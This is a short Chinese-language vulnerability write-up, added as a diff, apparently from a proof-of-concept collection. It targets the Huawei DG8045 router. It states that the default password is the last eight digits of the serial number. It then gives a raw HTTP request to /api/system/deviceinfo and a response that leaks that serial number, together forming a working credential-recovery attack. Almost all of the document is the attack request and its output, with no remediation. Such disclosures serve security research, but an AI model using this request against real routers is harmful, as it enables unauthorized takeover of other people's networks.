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+华为路由器敏感信息泄露--DG8045 Router 1.0
+
+
+
+# 概述
+
+路由器默认密码是序列号的最后8位
+
+
+
+# poc
+
+### 请求
+
+```shell
+GET /api/system/deviceinfo HTTP/1.1
+Host: 192.168.1.1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
+Gecko/20100101 Firefox/65.0
+Accept: application/json, text/javascript, */*; q=0.01
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: https://192.168.1.1/
+X-Requested-With: XMLHttpRequest
+Connection: close
+```
+
+### 响应
+
+```c
+HTTP/1.1 200 OK
+Cache-Control: no-cache, no-store, max-age=0, must-revalidate
+X-Download-Options: noopen
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+Date: Thu, 24 Jun 2021 02:07 GMT+2
+Connection: Keep-Alive
+Content-Language: en
+Content-Type: application/javascript
+Content-Length: 141
+
+while(1); /*{"DeviceName":"DG8045","SerialNumber":"21530369847SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
+```
+